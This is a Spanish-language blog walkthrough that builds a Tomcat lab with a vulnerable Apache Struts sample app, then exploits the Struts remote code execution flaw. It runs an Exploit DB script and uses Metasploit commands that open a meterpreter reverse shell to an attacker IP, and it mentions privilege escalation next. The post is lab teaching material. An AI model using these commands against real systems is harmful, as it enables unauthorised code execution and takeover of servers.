Apache Struts ejecución de código remoto.

En este post, haremos una prueba de concepto en la cual pondremos a prueba una vulnerabilidad recientemente publicada, la cual afecta a varias versiones recientes de Apache Struts (2.3.5 < 2.3.31 / 2.5 < 2.5.10), la cual permite la ejecución de código remoto en la maquina vulnerable.

Antes que nada, ¿Que es Apache Struts?. bueno, en si mismo, es un Framework de desarrollo que permite crear aplicaciones web en Java, la cual soporta REST, AJAX y JSON. Además es importante recalcar que una de las versiones vulnerables la 2.5.10, y la versión actual es 2.5.10.1 (parchada).

Teniendo en cuenta esto, tendremos entonces que instalar un servicio web (Como tomcat) sobre el cual podemos montar una aplicación .war creada con Apache Struts. Por suerte, se pueden descargar ejemplos de la red.

Aunque Tomcat puede ser instalado en Windows, Linux y otros.. vamos a probarlo en Linux/Ubuntu.

Luego de tener el sistema, instalamos los paquetes necesarios.

apt search tomcat
apt install tomcat8
apt install tomcat8-admin
apt install tomcat8-examples

Ahora, antes de comenzar, debemos editar el archivo: /etc/tomcat8/tomcat-users.xml para habiliar los permisos de usuario.


Debemos des-comentar las lineas que se ven en la imagen y configurar un usuario y contraseñas con el rol "manager-gui".

Nota: Tener en cuenta que esta configuración para tomcat no es la mejor, pero para nuestra prueba de concepto es suficiente.

Ahora, debemos descargar una aplicación hecha en Apache Struts, para ello bajamos y descomprimimos el siguiente link: https://archive.apache.org/dist/struts/examples/struts-2.3.16.3-apps.zip

Cuando descomprimimos el archivo, vamos a la dirección del servidor, al path /manager. EJ:  http://192.168.193.132:8080/manager/html Luego ingresamos el usuario y contraseña que configuramos anteriormente con el rol "manager-gui".

En este punto, debemos buscar la sección donde podemos subir nuestra aplicación.


Allí buscamos la carpeta donde descomprimimos las aplicaciones y subimos la que se llama "struts2-blank-2.2.1.war"

Luego podemos verificar que la aplicación se instaló correctamente ingresando a http://192.168.193.132:8080/struts2-blank/ y podremos ver lo siguiente:



Listo, con esto tenemos nuestra maquina vulnerable, sobre la cual podemos practicar.

Exploit DB.

Lo primero que vamos a probar es un exploit liberado en Exploit DB que encontramos en el link: https://www.exploit-db.com/exploits/41570/

Luego de descargalo solo debemos ejecutarlo con la siguiente sintaxis.

python struts.py url-de-la-victima "commando a ejecutar"

Como ejemplo ejecutaré el script:


Como se puede ver, listamos las carpetas del path principal donde se ejecuta el servicio.

Metasploit

Siguiendo los siguiente comandos podemos usar la herramienta Metasploit para obtener una shell reversa.

use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /struts2-blank/
set RHOST 192.168.193.132
set LHOST 192.168.193.130 (IP ATACANTE)
set payload linux/x86/meterpreter/reverse_tcp
exploit

De esta manera, obtenemos una shell de una manera bastante simple.


Ahora, solo tendríamos que intentar escalar privilegios en una posible post-explotación real.


@Jlcmux
@kr1shn4murt1


Comentarios

Entradas más populares de este blog

Explotación de vulnerabilidad MS17-010

Obteniendo Shell en Linux por medio de Samba